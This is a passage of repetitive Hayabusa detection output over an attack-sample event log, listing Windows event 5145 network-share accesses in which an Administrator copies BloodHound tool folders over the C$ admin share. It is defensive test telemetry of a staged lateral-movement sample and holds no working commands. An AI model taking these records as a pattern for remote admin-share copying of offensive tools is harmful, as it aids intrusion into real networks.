\??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\async\internal : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.177 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\babel-runtime : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.177 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\babel-runtime\core-js : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.177 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\babel-runtime\core-js\array : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.187 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\babel-runtime\core-js\error : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.187 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\babel-runtime\core-js\json : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.197 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\babel-runtime\core-js\math : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.197 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\babel-runtime\core-js\number : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.197 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\babel-runtime\core-js\object : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.197 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\babel-runtime\core-js\reflect : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.207 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\babel-runtime\core-js\regexp : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.207 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\babel-runtime\core-js\string : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.207 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\babel-runtime\core-js\symbol : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.217 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\babel-runtime\core-js\system : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.217 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\babel-runtime\helpers : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.227 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\babel-runtime\regenerator : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.227 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\balanced-match : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.227 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\big-integer : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.237 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\binary : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.237 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\binary\example : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.237 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\binary\lib : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.237 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\binary\perf : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.247 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\binary\test : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.247 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\bluebird : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.247 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\bluebird\js : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.257 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\bluebird\js\browser : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.257 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\bluebird\js\release : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.257 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\bootstrap : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.267 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\bootstrap\dist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.267 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\bootstrap\dist\css : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.267 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\bootstrap\dist\fonts : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.277 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\bootstrap\dist\js : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.277 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\bootstrap\fonts : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.277 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\bootstrap\grunt : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.277 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\bootstrap\js : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.287 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\bootstrap\less : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.287 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\bootstrap\less\mixins : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.297 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\bootstrap-3-typeahead : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.297 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\bowser : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.297 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\bowser\.idea : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.307 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\bowser\.idea\inspectionProfiles : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.307 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\bowser\.idea\markdown-navigator : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.307 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\bowser\src : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.307 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\bowser\test : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.307 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\brace-expansion : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.317 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\buffer-from : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.317 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\buffer-indexof-polyfill : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.317 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\buffer-indexof-polyfill\test : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.317 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\buffers : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.327 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\buffers\examples : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.327 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\buffers\test : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.327 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\buffer-shims : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.327 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\cfb : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.337 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\cfb\bin : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.337 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\cfb\dist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.337 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\cfb\types : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.337 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\chainsaw : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.347 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\chainsaw\examples : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.347 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\chainsaw\test : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.347 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\classnames : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.347 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\codepage : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.357 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\codepage\bin : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.357 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : 